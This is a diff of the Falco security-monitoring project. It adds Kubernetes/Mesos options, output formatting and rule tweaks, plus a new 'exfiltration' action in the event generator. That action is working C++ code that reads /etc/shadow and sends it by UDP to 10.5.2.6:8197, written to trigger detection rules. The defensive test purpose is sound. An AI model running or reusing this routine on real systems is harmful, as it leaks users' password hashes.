||||
@@ -21,10 +21,13 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
|
||||
#include <map>
|
||||
#include <set>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <cstring>
|
||||
#include <cstdlib>
|
||||
#include <unistd.h>
|
||||
#include <getopt.h>
|
||||
#include <sys/errno.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
@@ -64,7 +67,12 @@ void usage(char *program)
|
||||
printf(" (used by user_mgmt_binaries below)\n");
|
||||
printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n");
|
||||
printf(" rules related to user management programs\n");
|
||||
printf(" exfiltration Read /etc/shadow and send it via udp to a\n");
|
||||
printf(" specific address and port\n");
|
||||
printf(" all All of the above\n");
|
||||
printf(" The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
|
||||
printf(" as a colon-separated list\n");
|
||||
printf(" if specified, -a/--action overrides any environment variables\n");
|
||||
printf(" -i/--interval: Number of seconds between actions\n");
|
||||
printf(" -o/--once: Perform actions once and exit\n");
|
||||
}
|
||||
@@ -83,6 +91,50 @@ void open_file(const char *filename, const char *flags)
|
||||
|
||||
}
|
||||
|
||||
void exfiltration()
|
||||
{
|
||||
ifstream shadow;
|
||||
|
||||
shadow.open("/etc/shadow");
|
||||
|
||||
if(!shadow.is_open())
|
||||
{
|
||||
fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
string line;
|
||||
string shadow_contents;
|
||||
while (getline(shadow, line))
|
||||
{
|
||||
shadow_contents += line;
|
||||
shadow_contents += "\n";
|
||||
}
|
||||
|
||||
int rc;
|
||||
ssize_t sent;
|
||||
int sock = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
struct sockaddr_in dest;
|
||||
|
||||
dest.sin_family = AF_INET;
|
||||
dest.sin_port = htons(8197);
|
||||
inet_aton("10.5.2.6", &(dest.sin_addr));
|
||||
|
||||
if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
|
||||
{
|
||||
fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void touch(const char *filename)
|
||||
{
|
||||
open_file(filename, "w");
|
||||
@@ -312,7 +364,8 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
|
||||
{"non_sudo_setuid", non_sudo_setuid},
|
||||
{"create_files_below_dev", create_files_below_dev},
|
||||
{"exec_ls", exec_ls},
|
||||
{"user_mgmt_binaries", user_mgmt_binaries}};
|
||||
{"user_mgmt_binaries", user_mgmt_binaries},
|
||||
{"exfiltration", exfiltration}};
|
||||
|
||||
|
||||
void create_symlinks(const char *program)
|
||||
@@ -403,6 +456,30 @@ int main(int argc, char **argv)
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Also look for actions in the environment. If specified, they
|
||||
// override any specified on the command line.
|
||||
//
|
||||
char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
|
||||
|
||||
if(env_action)
|
||||
{
|
||||
actions.clear();
|
||||
|
||||
string envs(env_action);
|
||||
istringstream ss(envs);
|
||||
string item;
|
||||
while (std::getline(ss, item, ':'))
|
||||
{
|
||||
if((it = defined_actions.find(item)) == defined_actions.end())
|
||||
{
|
||||
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
|
||||
exit(1);
|
||||
}
|
||||
actions.insert(*it);
|
||||
}
|
||||
}
|
||||
|
||||
if(actions.size() == 0)
|
||||
{
|
||||
actions = defined_actions;
|
||||
|
||||
@@ -19,6 +19,7 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
bash-completion \
|
||||
curl \
|
||||
jq \
|
||||
ca-certificates \
|
||||
gnupg2 \
|
||||
gcc \
|
||||
|
||||
@@ -1,13 +1,17 @@
|
||||
#!/bin/bash
|
||||
#set -e
|
||||
|
||||
echo "* Setting up /usr/src links from host"
|
||||
# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
|
||||
|
||||
for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
|
||||
do
|
||||
ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
|
||||
done
|
||||
if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
|
||||
echo "* Setting up /usr/src links from host"
|
||||
|
||||
/usr/bin/sysdig-probe-loader
|
||||
for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
|
||||
do
|
||||
ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
|
||||
done
|
||||
|
||||
/usr/bin/sysdig-probe-loader
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
|
||||
@@ -23,6 +23,12 @@ file_output:
|
||||
stdout_output:
|
||||
enabled: true
|
||||
|
||||
# Possible additional things you might want to do with program output:
|
||||
# - send to a slack webhook:
|
||||
# program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
|
||||
# - logging (alternate method than syslog):
|
||||
# program: logger -t falco-test
|
||||
|
||||
program_output:
|
||||
enabled: false
|
||||
program: mail -s "Falco Notification" someone@example.com
|
||||
|
||||
@@ -96,11 +96,14 @@
|
||||
]
|
||||
|
||||
- list: sysdigcloud_binaries
|
||||
items: [setup-backend, dragent]
|
||||
items: [setup-backend, dragent, sdchecks]
|
||||
|
||||
- list: docker_binaries
|
||||
items: [docker, dockerd, exe]
|
||||
|
||||
- list: k8s_binaries
|
||||
items: [hyperkube, skydns, kube2sky]
|
||||
|
||||
- list: http_server_binaries
|
||||
items: [nginx, httpd, httpd-foregroun, lighttpd]
|
||||
|
||||
@@ -164,6 +167,15 @@
|
||||
# System
|
||||
- macro: modules
|
||||
condition: evt.type in (delete_module, init_module)
|
||||
|
||||
# Use this to test whether the event occurred within a container.
|
||||
|
||||
# When displaying container information in the output field, use
|
||||
# %container.info, without any leading term (file=%fd.name
|
||||
# %container.info user=%user.name, and not file=%fd.name
|
||||
# container=%container.info user=%user.name). The output will change
|
||||
# based on the context and whether or not -pk/-pm/-pc was specified on
|
||||
# the command line.
|
||||
- macro: container
|
||||
condition: container.id != host
|
||||
- macro: interactive
|
||||
@@ -264,13 +276,13 @@
|
||||
|
||||
- rule: Change thread namespace
|
||||
desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
|
||||
condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter)
|
||||
output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id))"
|
||||
condition: evt.type = setns and not proc.name in (docker_binaries, k8s_binaries, sysdigcloud_binaries, sysdig, nsenter) and not proc.pname in (sysdigcloud_binaries)
|
||||
output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline parent=%proc.pname %container.info)"
|
||||
priority: WARNING
|
||||
|
||||
- rule: Run shell untrusted
|
||||
desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
|
||||
condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco)
|
||||
condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco)
|
||||
output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
|
||||
priority: WARNING
|
||||
|
||||
@@ -280,7 +292,7 @@
|
||||
- rule: File Open by Privileged Container
|
||||
desc: Any open by a privileged container. Exceptions are made for known trusted images.
|
||||
condition: (open_read or open_write) and container and container.privileged=true and not trusted_containers
|
||||
output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name)
|
||||
output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
|
||||
priority: WARNING
|
||||
|
||||
- macro: sensitive_mount
|
||||
@@ -289,7 +301,7 @@
|
||||
- rule: Sensitive Mount by Container
|
||||
desc: Any open by a container that has a mount from a sensitive host directory (i.e. /proc). Exceptions are made for known trusted images.
|
||||
condition: (open_read or open_write) and container and sensitive_mount and not trusted_containers
|
||||
output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name)
|
||||
output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
|
||||
priority: WARNING
|
||||
|
||||
# Anything run interactively by root
|
||||
@@ -305,8 +317,8 @@
|
||||
|
||||
- rule: Run shell in container
|
||||
desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
|
||||
condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2)
|
||||
output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
|
||||
condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, k8s_binaries, initdb, pg_ctl, awk, apache2, falco, cron)
|
||||
output: "Shell spawned in a container other than entrypoint (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
|
||||
priority: WARNING
|
||||
|
||||
# sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
|
||||
|
||||
@@ -18,5 +18,5 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
#pragma once
|
||||
|
||||
#define FALCO_ENGINE_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/"
|
||||
#define FALCO_ENGINE_LUA_DIR "${FALCO_SHARE_DIR}/lua/"
|
||||
#define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/"
|
||||
|
||||
@@ -56,18 +56,48 @@ static void usage()
|
||||
"Options:\n"
|
||||
" -h, --help Print this page\n"
|
||||
" -c Configuration file (default " FALCO_SOURCE_CONF_FILE ", " FALCO_INSTALL_CONF_FILE ")\n"
|
||||
" -o, --option <key>=<val> Set the value of option <key> to <val>. Overrides values in configuration file.\n"
|
||||
" <key> can be a two-part <key>.<subkey>\n"
|
||||
" -A Monitor all events, including those with EF_DROP_FALCO flag.\n"
|
||||
" -d, --daemon Run as a daemon\n"
|
||||
" -p, --pidfile <pid_file> When run as a daemon, write pid to specified file\n"
|
||||
" -e <events_file> Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
|
||||
" -r <rules_file> Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
|
||||
" Can be specified multiple times to read from multiple files.\n"
|
||||
" -D <pattern> Disable any rules matching the regex <pattern>. Can be specified multiple times.\n"
|
||||
" -e <events_file> Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
|
||||
" -k <url>, --k8s-api=<url>\n"
|
||||
" Enable Kubernetes support by connecting to the API server\n"
|
||||
" specified as argument. E.g. \"http://admin:password@127.0.0.1:8080\".\n"
|
||||
" The API server can also be specified via the environment variable\n"
|
||||
" FALCO_K8S_API.\n"
|
||||
" -K <bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>], --k8s-api-cert=<bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>]\n"
|
||||
" Use the provided files names to authenticate user and (optionally) verify the K8S API\n"
|
||||
" server identity.\n"
|
||||
" Each entry must specify full (absolute, or relative to the current directory) path\n"
|
||||
" to the respective file.\n"
|
||||
" Private key password is optional (needed only if key is password protected).\n"
|
||||
" CA certificate is optional. For all files, only PEM file format is supported. \n"
|
||||
" Specifying CA certificate only is obsoleted - when single entry is provided \n"
|
||||
" for this option, it will be interpreted as the name of a file containing bearer token.\n"
|
||||
" Note that the format of this command-line option prohibits use of files whose names contain\n"
|
||||
" ':' or '#' characters in the file name.\n"
|
||||
" -L Show the name and description of all rules and exit.\n"
|
||||
" -l <rule> Show the name and description of the rule with name <rule> and exit.\n"
|
||||
" -m <url[,marathon_url]>, --mesos-api=<url[,marathon_url]>\n"
|
||||
" Enable Mesos support by connecting to the API server\n"
|
||||
" specified as argument. E.g. \"http://admin:password@127.0.0.1:5050\".\n"
|
||||
" Marathon url is optional and defaults to Mesos address, port 8080.\n"
|
||||
" The API servers can also be specified via the environment variable\n"
|
||||
" FALCO_MESOS_API.\n"
|
||||
" -o, --option <key>=<val> Set the value of option <key> to <val>. Overrides values in configuration file.\n"
|
||||
" <key> can be a two-part <key>.<subkey>\n"
|
||||
" -p <output_format>, --print=<output_format>\n"
|
||||
" Add additional information to each falco notification's output.\n"
|
||||
" With -pc or -pcontainer will use a container-friendly format.\n"
|
||||
" With -pk or -pkubernetes will use a kubernetes-friendly format.\n"
|
||||
" With -pm or -pmesos will use a mesos-friendly format.\n"
|
||||
" Additionally, specifying -pc/-pk/-pm will change the interpretation\n"
|
||||
" of %%container.info in rule output fields\n"
|
||||
" See the examples section below for more info.\n"
|
||||
" -P, --pidfile <pid_file> When run as a daemon, write pid to specified file\n"
|
||||
" -r <rules_file> Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
|
||||
" Can be specified multiple times to read from multiple files.\n"
|
||||
" -v Verbose output.\n"
|
||||
" -A Monitor all events, including those with EF_DROP_FALCO flag.\n"
|
||||
"\n"
|
||||
);
|
||||
}
|
||||
@@ -92,10 +122,11 @@ std::list<string> cmdline_options;
|
||||
//
|
||||
// Event processing loop
|
||||
//
|
||||
void do_inspect(falco_engine *engine,
|
||||
falco_outputs *outputs,
|
||||
sinsp* inspector)
|
||||
uint64_t do_inspect(falco_engine *engine,
|
||||
falco_outputs *outputs,
|
||||
sinsp* inspector)
|
||||
{
|
||||
uint64_t num_evts = 0;
|
||||
int32_t res;
|
||||
sinsp_evt* ev;
|
||||
|
||||
@@ -146,7 +177,11 @@ void do_inspect(falco_engine *engine,
|
||||
outputs->handle_event(res->evt, res->rule, res->priority, res->format);
|
||||
delete(res);
|
||||
}
|
||||
|
||||
num_evts++;
|
||||
}
|
||||
|
||||
return num_evts;
|
||||
}
|
||||
|
||||
//
|
||||
@@ -162,6 +197,7 @@ int falco_init(int argc, char **argv)
|
||||
int long_index = 0;
|
||||
string scap_filename;
|
||||
string conf_filename;
|
||||
string outfile;
|
||||
list<string> rules_filenames;
|
||||
bool daemon = false;
|
||||
string pidfilename = "/var/run/falco.pid";
|
||||
@@ -169,26 +205,41 @@ int falco_init(int argc, char **argv)
|
||||
string describe_rule = "";
|
||||
bool verbose = false;
|
||||
bool all_events = false;
|
||||
string* k8s_api = 0;
|
||||
string* k8s_api_cert = 0;
|
||||
string* mesos_api = 0;
|
||||
string output_format = "";
|
||||
bool replace_container_info = false;
|
||||
|
||||
// Used for writing trace files
|
||||
int duration_seconds = 0;
|
||||
int rollover_mb = 0;
|
||||
int file_limit = 0;
|
||||
unsigned long event_limit = 0L;
|
||||
bool compress = false;
|
||||
|
||||
// Used for stats
|
||||
uint64_t num_evts;
|
||||
double duration;
|
||||
scap_stats cstats;
|
||||
|
||||
static struct option long_options[] =
|
||||
{
|
||||
{"help", no_argument, 0, 'h' },
|
||||
{"daemon", no_argument, 0, 'd' },
|
||||
{"k8s-api", required_argument, 0, 'k'},
|
||||
{"k8s-api-cert", required_argument, 0, 'K' },
|
||||
{"mesos-api", required_argument, 0, 'm'},
|
||||
{"option", required_argument, 0, 'o'},
|
||||
{"pidfile", required_argument, 0, 'p' },
|
||||
{"print", required_argument, 0, 'p' },
|
||||
{"pidfile", required_argument, 0, 'P' },
|
||||
{"writefile", required_argument, 0, 'w' },
|
||||
|
||||
{0, 0, 0, 0}
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
inspector = new sinsp();
|
||||
engine = new falco_engine();
|
||||
engine->set_inspector(inspector);
|
||||
|
||||
outputs = new falco_outputs();
|
||||
outputs->set_inspector(inspector);
|
||||
|
||||
set<string> disabled_rule_patterns;
|
||||
string pattern;
|
||||
|
||||
@@ -196,7 +247,7 @@ int falco_init(int argc, char **argv)
|
||||
// Parse the args
|
||||
//
|
||||
while((op = getopt_long(argc, argv,
|
||||
"c:ho:e:r:D:dp:Ll:vA",
|
||||
"hc:AdD:e:k:K:Ll:m:o:P:p:r:vw:",
|
||||
long_options, &long_index)) != -1)
|
||||
{
|
||||
switch(op)
|
||||
@@ -207,36 +258,72 @@ int falco_init(int argc, char **argv)
|
||||
case 'c':
|
||||
conf_filename = optarg;
|
||||
break;
|
||||
case 'o':
|
||||
cmdline_options.push_back(optarg);
|
||||
case 'A':
|
||||
all_events = true;
|
||||
break;
|
||||
case 'e':
|
||||
scap_filename = optarg;
|
||||
break;
|
||||
case 'r':
|
||||
rules_filenames.push_back(optarg);
|
||||
case 'd':
|
||||
daemon = true;
|
||||
break;
|
||||
case 'D':
|
||||
pattern = optarg;
|
||||
disabled_rule_patterns.insert(pattern);
|
||||
break;
|
||||
case 'd':
|
||||
daemon = true;
|
||||
case 'e':
|
||||
scap_filename = optarg;
|
||||
k8s_api = new string();
|
||||
mesos_api = new string();
|
||||
break;
|
||||
case 'p':
|
||||
pidfilename = optarg;
|
||||
case 'k':
|
||||
k8s_api = new string(optarg);
|
||||
break;
|
||||
case 'K':
|
||||
k8s_api_cert = new string(optarg);
|
||||
break;
|
||||
case 'L':
|
||||
describe_all_rules = true;
|
||||
break;
|
||||
case 'l':
|
||||
describe_rule = optarg;
|
||||
break;
|
||||
case 'm':
|
||||
mesos_api = new string(optarg);
|
||||
break;
|
||||
case 'o':
|
||||
cmdline_options.push_back(optarg);
|
||||
break;
|
||||
case 'P':
|
||||
pidfilename = optarg;
|
||||
break;
|
||||
case 'p':
|
||||
if(string(optarg) == "c" || string(optarg) == "container")
|
||||
{
|
||||
output_format = "container=%container.name (id=%container.id)";
|
||||
replace_container_info = true;
|
||||
}
|
||||
else if(string(optarg) == "k" || string(optarg) == "kubernetes")
|
||||
{
|
||||
output_format = "k8s.pod=%k8s.pod.name container=%container.id";
|
||||
replace_container_info = true;
|
||||
}
|
||||
else if(string(optarg) == "m" || string(optarg) == "mesos")
|
||||
{
|
||||
output_format = "task=%mesos.task.name container=%container.id";
|
||||
replace_container_info = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
output_format = optarg;
|
||||
replace_container_info = false;
|
||||
}
|
||||
break;
|
||||
case 'r':
|
||||
rules_filenames.push_back(optarg);
|
||||
break;
|
||||
case 'v':
|
||||
verbose = true;
|
||||
break;
|
||||
case 'A':
|
||||
all_events = true;
|
||||
break;
|
||||
case 'l':
|
||||
describe_rule = optarg;
|
||||
case 'w':
|
||||
outfile = optarg;
|
||||
break;
|
||||
case '?':
|
||||
result = EXIT_FAILURE;
|
||||
@@ -247,6 +334,14 @@ int falco_init(int argc, char **argv)
|
||||
|
||||
}
|
||||
|
||||
inspector = new sinsp();
|
||||
engine = new falco_engine();
|
||||
engine->set_inspector(inspector);
|
||||
|
||||
outputs = new falco_outputs();
|
||||
outputs->set_inspector(inspector);
|
||||
outputs->set_extra(output_format, replace_container_info);
|
||||
|
||||
// Some combinations of arguments are not allowed.
|
||||
if (daemon && pidfilename == "") {
|
||||
throw std::invalid_argument("If -d is provided, a pid file must also be provided");
|
||||
@@ -264,14 +359,14 @@ int falco_init(int argc, char **argv)
|
||||
else
|
||||
{
|
||||
conf_stream.open(FALCO_SOURCE_CONF_FILE);
|
||||
if (!conf_stream.is_open())
|
||||
if (conf_stream.is_open())
|
||||
{
|
||||
conf_filename = FALCO_SOURCE_CONF_FILE;
|
||||
}
|
||||
else
|
||||
{
|
||||
conf_stream.open(FALCO_INSTALL_CONF_FILE);
|
||||
if (!conf_stream.is_open())
|
||||
if (conf_stream.is_open())
|
||||
{
|
||||
conf_filename = FALCO_INSTALL_CONF_FILE;
|
||||
}
|
||||
@@ -427,9 +522,90 @@ int falco_init(int argc, char **argv)
|
||||
open("/dev/null", O_RDWR);
|
||||
}
|
||||
|
||||
do_inspect(engine,
|
||||
outputs,
|
||||
inspector);
|
||||
if(outfile != "")
|
||||
{
|
||||
inspector->setup_cycle_writer(outfile, rollover_mb, duration_seconds, file_limit, event_limit, compress);
|
||||
inspector->autodump_next_file();
|
||||
}
|
||||
|
||||
duration = ((double)clock()) / CLOCKS_PER_SEC;
|
||||
|
||||
//
|
||||
// run k8s, if required
|
||||
//
|
||||
if(k8s_api)
|
||||
{
|
||||
if(!k8s_api_cert)
|
||||
{
|
||||
if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
|
||||
{
|
||||
k8s_api_cert = new string(k8s_cert_env);
|
||||
}
|
||||
}
|
||||
inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
|
||||
k8s_api = 0;
|
||||
k8s_api_cert = 0;
|
||||
}
|
||||
else if(char* k8s_api_env = getenv("FALCO_K8S_API"))
|
||||
{
|
||||
if(k8s_api_env != NULL)
|
||||
{
|
||||
if(!k8s_api_cert)
|
||||
{
|
||||
if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
|
||||
{
|
||||
k8s_api_cert = new string(k8s_cert_env);
|
||||
}
|
||||
}
|
||||
k8s_api = new string(k8s_api_env);
|
||||
inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
|
||||
}
|
||||
else
|
||||
{
|
||||
delete k8s_api;
|
||||
delete k8s_api_cert;
|
||||
}
|
||||
k8s_api = 0;
|
||||
k8s_api_cert = 0;
|
||||
}
|
||||
|
||||
//
|
||||
// run mesos, if required
|
||||
//
|
||||
if(mesos_api)
|
||||
{
|
||||
inspector->init_mesos_client(mesos_api, verbose);
|
||||
}
|
||||
else if(char* mesos_api_env = getenv("FALCO_MESOS_API"))
|
||||
{
|
||||
if(mesos_api_env != NULL)
|
||||
{
|
||||
mesos_api = new string(mesos_api_env);
|
||||
inspector->init_mesos_client(mesos_api, verbose);
|
||||
}
|
||||
}
|
||||
delete mesos_api;
|
||||
mesos_api = 0;
|
||||
|
||||
num_evts = do_inspect(engine,
|
||||
outputs,
|
||||
inspector);
|
||||
|
||||
duration = ((double)clock()) / CLOCKS_PER_SEC - duration;
|
||||
|
||||
inspector->get_capture_stats(&cstats);
|
||||
|
||||
if(verbose)
|
||||
{
|
||||
fprintf(stderr, "Driver Events:%" PRIu64 "\nDriver Drops:%" PRIu64 "\n",
|
||||
cstats.n_evts,
|
||||
cstats.n_drops);
|
||||
|
||||
fprintf(stderr, "Elapsed time: %.3lf, Captured Events: %" PRIu64 ", %.2lf eps\n",
|
||||
duration,
|
||||
num_evts,
|
||||
num_evts / duration);
|
||||
}
|
||||
|
||||
inspector->close();
|
||||
|
||||
|
||||
@@ -27,6 +27,7 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
|
||||
using namespace std;
|
||||
|
||||
falco_outputs::falco_outputs()
|
||||
: m_replace_container_info(false)
|
||||
{
|
||||
|
||||
}
|
||||
@@ -51,6 +52,12 @@ void falco_outputs::init(bool json_output)
|
||||
falco_logger::init(m_ls);
|
||||
}
|
||||
|
||||
void falco_outputs::set_extra(string &extra, bool replace_container_info)
|
||||
{
|
||||
m_extra = extra;
|
||||
m_replace_container_info = replace_container_info;
|
||||
}
|
||||
|
||||
void falco_outputs::add_output(output_config oc)
|
||||
{
|
||||
uint8_t nargs = 1;
|
||||
@@ -87,12 +94,42 @@ void falco_outputs::handle_event(sinsp_evt *ev, string &level, string &priority,
|
||||
{
|
||||
lua_getglobal(m_ls, m_lua_output_event.c_str());
|
||||
|
||||
// If the format string contains %container.info, replace it
|
||||
// with extra. Otherwise, add extra onto the end of the format
|
||||
// string.
|
||||
string format_w_extra = format;
|
||||
size_t pos;
|
||||
|
||||
if((pos = format_w_extra.find("%container.info")) != string::npos)
|
||||
{
|
||||
// There may not be any extra, or we're not supposed
|
||||
// to replace it, in which case we use the generic
|
||||
// "%container.name (id=%container.id)"
|
||||
if(m_extra == "" || ! m_replace_container_info)
|
||||
{
|
||||
// 15 == strlen(%container.info)
|
||||
format_w_extra.replace(pos, 15, "%container.name (id=%container.id)");
|
||||
}
|
||||
else
|
||||
{
|
||||
format_w_extra.replace(pos, 15, m_extra);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Just add the extra to the end
|
||||
if (m_extra != "")
|
||||
{
|
||||
format_w_extra += " " + m_extra;
|
||||
}
|
||||
}
|
||||
|
||||
if(lua_isfunction(m_ls, -1))
|
||||
{
|
||||
lua_pushlightuserdata(m_ls, ev);
|
||||
lua_pushstring(m_ls, level.c_str());
|
||||
lua_pushstring(m_ls, priority.c_str());
|
||||
lua_pushstring(m_ls, format.c_str());
|
||||
lua_pushstring(m_ls, format_w_extra.c_str());
|
||||
|
||||
if(lua_pcall(m_ls, 4, 0, 0) != 0)
|
||||
{
|
||||
|
||||
@@ -44,6 +44,8 @@ public:
|
||||
|
||||
void add_output(output_config oc);
|
||||
|
||||
void set_extra(string &extra, bool replace_container_info);
|
||||
|
||||
//
|
||||
// ev is an event that has matched some rule. Pass the event
|
||||
// to all configured outputs.
|
||||
@@ -54,4 +56,6 @@ private:
|
||||
std::string m_lua_add_output = "add_output";
|
||||
std::string m_lua_output_event = "output_event";
|
||||
std::string m_lua_main_filename = "output.lua";
|
||||
std::string m_extra;
|
||||
bool m_replace_container_info;
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user